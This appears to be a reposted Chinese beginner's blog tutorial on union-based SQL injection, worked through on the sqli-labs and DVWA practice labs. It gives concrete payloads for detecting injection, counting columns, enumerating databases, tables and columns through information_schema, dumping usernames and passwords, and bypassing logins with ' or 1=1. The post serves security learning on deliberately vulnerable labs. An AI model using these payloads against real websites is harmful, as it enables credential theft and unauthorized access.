sql注入——普通注入

sql注入——普通注入

本文是我在学习sql注入时所写的一些笔记。本人还是一位小萌新,初来乍到,如果有写的不好的地方还望各位大佬指正。

sql注入的一般思路


一、查找注入点,判断是否存在sql注入;

sql注入漏洞一般存在于登录、注册、修改密码入口,查找页面或添加页面等用户可以查找或修改数据的地方(一般是没有验证码的情况);

判断方法:

  1. 单引号判断(前提是页面有错误回显):
    在正确的地址后面添加单引号,然后根据回显信息判断网站是否对提交的数据进行过滤。如果页面提示语法错误,则表明存在sql注入【注意前提是语法错误,因为其他的错误提示可能是检测到敏感字符而报错】。因为报语法错误就表明网站并没有对提交上去的 ’ 进行过滤,导致我们可以任意构造sql查询语句。同时我们可以通过报错信息进一步来判断注入的类型。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FEpvUcqi-1578632761208)(C:\Users\yinshouxiang\Desktop\SQL注入漏洞\截屏\批注 2020-01-08162930.png)]
    在上图中我们可以看到错误提示:" You have an error in your SQL syntax; " 说明在提交的正常数据后面加上 ’ 后导致网站后端的SQL查询语句中存在语法错误,从而判断这里存在sql注入。根据后面的提示:"
    check the manual that corresponds to your MySQL server version for
    the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1 ",可以知道产生语法错误的语句是 1'' LIMIT 0,1 , 发现是 1' 后面多了一个我们加上去的 ’ 导致sql语句中存在奇数个单引号而报错。如果去掉我们加上去的 ’ 后,语句变成1' LIMIT 0,1 ,此时的语句是正确的,所以1的前面也应该有一个 ’ 来闭合1后面的 ’ ,从而可以判断这是字符型注入,并且猜测sql语句的可能情况:SELECT * FROM database_name WHERE id = '1' LIMIT 0,1,这时加上单引号语句就变成SELECT * FROM database_name WHERE id = '1'' LIMIT 0,1从而报错。在这条报错语句中还可以判断使用的是MySQL数据库;

  2. and判断(针对页面关闭了错误回显的情况):
    (以Less-1为例)首先我们注释掉PHP代码中的报错行:在这里插入图片描述
    现在当我们提交id='时,页面没有错误回显,那我们提交上去的单引号是被过滤掉了还是被执行了呢,没有办法直接判断,这时候就要and来帮忙了。我们先提交id=1' and '1'='1,此时如果提交的数据被执行了的话,那么后台的SQL语句就为select * from users where id='1' and '1'='1',此时条件判断为真,正常回显;
    在这里插入图片描述
    然后再提交id=1' and '1'='2,如果提交的数据被执行,则后台的SQL语句为select * from users where id='1' and '1'='2',条件判断为假,所以没有回显; 在这里插入图片描述
    提交不同的数据,返回不同的结果,这说明是的'1'='1''1'='2'这两个语句起了作用,也就意味着我们提交的数据被执行了,所以存在sql注入,而且是字符型注入。这里要说清楚的是我们预先是不知道这是字符型注入的,所以我们要进行所有的尝试,直到得到我们所预期的结果。

    我们可以尝试的语句是:

    (1)id=1' and '1'='1id=1' and '1'='2
    (2)id=1') and ('1')=('1id=1') and ('1')=('2
    (3)id=1 and 1=1id=1 and 1=2
    (4)id=1) and (1)=(1id=1) and (1)=(2

二、如果存在sql注入,则进一步判断sql注入的类型;如果可以直接根据错误 的回显信息来判断注入类型那当然更好,如果不能,就要手工输入来判断,下面主要是讲手工判断的思路。

扫描二维码关注公众号,回复: 8529172 查看本文章

sql普通注入一般分为字符型和数字型。

  字符型:

  1. SELECT * FROM users WHERE id='$id' LIMIT 0,1

  2. SELECT * FROM users WHERE id=('$id') LIMIT 0,1

  数字型:

  1. SELECT * FROM users WHERE id=$id LIMIT 0,1
  2. SELECT * FROM users WHERE id=($id) LIMIT 0,1

  背景知识:
  在SQL语句中常用的注释:
  ①--+,②-- (注意两个'-'后面有一个空格), ③#

  判断方法(以sqli-labs-master/Less-1-4为例):

  1. 首先正常输入?id=1,正常回显; 在这里插入图片描述

  2. 开始先尝试字符型(以Less-1为例)(先假设是字符型,然后再验证假设):如果是字符型,则我们提交上去的id=1就会先变成id='1',然后再拼接到sql查询语句中。我们验证的思路有两种:

    (1)第一种思路是提交id=2-1,如果数字型,则返回的结果和提交id=1是一样的,因为2-1运算后的结果还是1;如果结果不一样,则可以判断是字符型;
    Less-1:字符型
    在这里插入图片描述
    Less-2:数字型
    在这里插入图片描述
    接下来就要判断是字符型中的哪一种(以Less-1、3为例,已经通过上述方法判断为字符型注入):先假设是第一种,然后提交id=1' --+;这里的思路是先用一个 ’ 闭合1前面的单引号,然后再把后面多余的一个单引号给注释掉。如果是字符型的第一种,则返回结果与id=1的结果相同,否则为第二种。下面分别对Less1、3进行判断: 在这里插入图片描述
    Less-1的返回结果与id=1时相同,所以为字符型的第一种;Less-3报错,所以为字符型的第二种;同时根据错误回显可以得到应该构造id=1') --+提交,原理与构造id=1' --+的原理相同;

    (2)第二种思路是提交id=1' and '1'='1,如果是字符型,则返回的结果和提交id=1是一样的,如果报错,则可判断为数字型。这里的思路是先用单引号闭合1前面的单引号,再借助and把1后面的单引号利用起来;
    Less-1:字符型
    在这里插入图片描述
    Less-2:数字型在这里插入图片描述
    然后可以通过思路(1)中的方法判断是字符型注入的哪一种。

  3. 如果通过2中的方法判断为数字型注入,则需要再进一步判断是数字型的哪一种。当然也可以通过构造提交的数据来直接判断是否为数字型,如提交id=1 --+id=1) --+id=1 and 1=1;思路和字符型的判断思路相同。下面是判断数字型的类别的方法:提交id=1) --+,如果返回结果与提交id=1时相同,则判断为数字型的第二种;如果报错,则判断为数字型的第一种;
    Less-2:第一种
    在这里插入图片描述
    Less-4:第二种
    在这里插入图片描述

三、判断具体的注入类型后,就是构造合适的payload来爆库,爆表,爆列。

可以利用sql注入爆出数据库中几乎所有的数据。

背景知识:

  • 在SQL语句中常用的函数:
    (1)系统函数:
     version()——MySQL数据库版本;

    ​ user()——数据库用户名;

    ​ database()——数据库名;

    ​ @@datadir——数据库路径;

    ​ @@version_compile_os——操作系统版本。

    在dvwa中的演示结果:

    提交:-1' union select version(),user() #

    在这里插入图片描述
    提交:-1' union select database(),@@datadir #
    在这里插入图片描述
    提交:-1' union select @@version_compile_os,2 #
    在这里插入图片描述
    (2)字符串连接函数:

    ​ concat(str1,str2,…)——没有分隔符地连接字符串;

    ​ concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串(concat_withseparator,其中separator为分隔符);

    ​ group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据。

    演示结果:

    在这里插入图片描述
    在这里插入图片描述

  • information_schema数据库:

    information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。里面包含了关于每个数据库,数据库表以及字段的信息。

    在这里插入图片描述

    sql注入中主要用到的是schemata(数据库),tables(表),columns(字段)这三个表;

    在这里插入图片描述
    在这里插入图片描述

    ······(此处省略几千行)

  • 常用的查询语句:

    查询数据库:select schema_name from information_schema.schemata
    查询某数据库的数据表:select table_name from information_schema.tables where table_schema=’xxx’或 select table_name from information_schema.tables where table_schema=database()

    查询某数据库表的所有列:Select column_name from information_schema.columns where table_name=’xxx’
    查询某列的内容:select columnname from tablename
    **注:**schema_name和table_scehma都是表示数据库,但schema_name是schemata表中的字段,table_schema是tables表中的字段,从上面的图中也可以看出来。

实战(以Less-1为例):

爆库>>爆表>>爆字段,这里要用到SQL联合查询语句union。

  1. 首先要使用order by语句猜解字段。因为在使用union查询时,两边的所查询的字段要相同,也就是数据的列数要相同,如果不同就会报错:The used SELECT statements have a different number of columns或者没有回显内容,所以要得到字段数。如果order by后面接的是数字,那么数字是几就会对获得的数据按第几列排序,且如果数字多于一个时,会按从左到右的顺序优先排序。比如:select * from users order by 2,3会依次按第二列和第三列进行排序,且以第二列优先排序。当order by 后面的数字超过所获得的数据的列数时,就会报错Unknown column 'x' in 'order clause'或没有回显。

    (1)提交:id=1' order by 4 --+ ,报错,因此字段数要小于4;
    在这里插入图片描述
    (2)提交:id=1' order by 3 --+,正常回显,所以字段数为3; 在这里插入图片描述

  2. 得到字段数后,我们还要找出屏幕上显示的是那几个字段,因为只有显示在屏幕上我们才能得到数据;
    提交:id=-1' union select 1,2,3--+,发现输出的是第2,3这两列;这里将id赋值为-1是为了将前一个查询的结果置空,因为我们要显示的是后面一个查询的结果。那么为什么id=-1就能将返回的结果置空呢,是因为当 id 的数据在数据库中不存在时,返回的结果就为空,所以这里显示的就是后一个查询结果; 在这里插入图片描述

  3. 爆库;注意只有2,3两个字段会显示,所以想要查询的内容必须放在2,3这两个位置上;
    提交:id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ 在这里插入图片描述

    提交:id=-1' union select 1,database(),3 --+,得到所需库是security; 

  4. 爆表;根据第3步回显的结果得到所有数据库名,这里我们用的是数据库security(可通过查询database()得到);

    提交:id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 在这里插入图片描述

  5. 爆字段;这里获取users表中的数据;
    提交:id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    在这里插入图片描述

  6. 获取username、password字段中的数据;这里要说的是似乎其他的字段在表users中不存在,也就是表中只有username、password这两个字段,不知道是开发者本来就是这样设计的还是数据库导入的时候出错;不管怎样,只要能达到练习的目的就行;

    提交:id=-1' union select 1,group_concat(username),group_concat(password) from users --+
    在这里插入图片描述
    到这里,差不多就完成了整个sql注入过程。Less-2,Less-3,Less-4除了注入的类型不同,其他的思路基本相同。

  7. 最后我们来分析一下源码: 在这里插入图片描述

    发现PHP代码并没有对我们提交的内容进行任何过滤就直接拼接到了SQL语句中,这就导致了我们提交的payload被执行,从而获得敏感的数据。PHP代码利用mysql_fetch_array()函数将查询的结果放到数组中,最后显示的内容是从数组中取出键名为’username’和’password’所对应的值。


总结:

  在进行sql注入时,主要的思路就是剥离网站后端处理文件中的sql语句,在中间加入我们构造的payload,并想办法去执行它,从而得到我们想要的数据。在注入过程中要多动脑筋,不断地去猜解后台的处理代码是什么样的,然后再根据具体情况构造合理的payload。对于其他一些稍微进行了防御的网站,我们要先弄清楚他的防御方法,然后再想办法构造payload去绕过它。还有就是sql注入的做题方法很灵活,解决问题的方法有很多,不仅限于上面思路中所给的方法。


在做题过程中遇到的一些问题及一些思考:

    1. 万能密码;在一些题目中,可能只需要我们输入密码,但我们并不知道密码是什么,这个时候如果存在sql注入,无论提交数据的方式是get还是post,都可使用万能密码绕过。比如:正常提交时,SQL语句为select * from users where password=$_GET['password'],当我们提交?password='' or 1=1,SQL语句就变成select * from users where password='' or 1=1,因为条件password='' or 1=1的判断始终为真,所以能绕过密码验证,直接登录;
    2. 在做题的时候发现如果是字符型注入,则提交id=2id=2-1的结果是一样的,也就是说验证的时候只会管第一个字符,无论后面是什么字符,当然不能是注释符了,只要开头的是2,结果都是与提交id=2的结果相同。 · 在这里插入图片描述在这里插入图片描述
      在这里插入图片描述

猜你喜欢

转载自www.cnblogs.com/WebDog0/p/12181369.html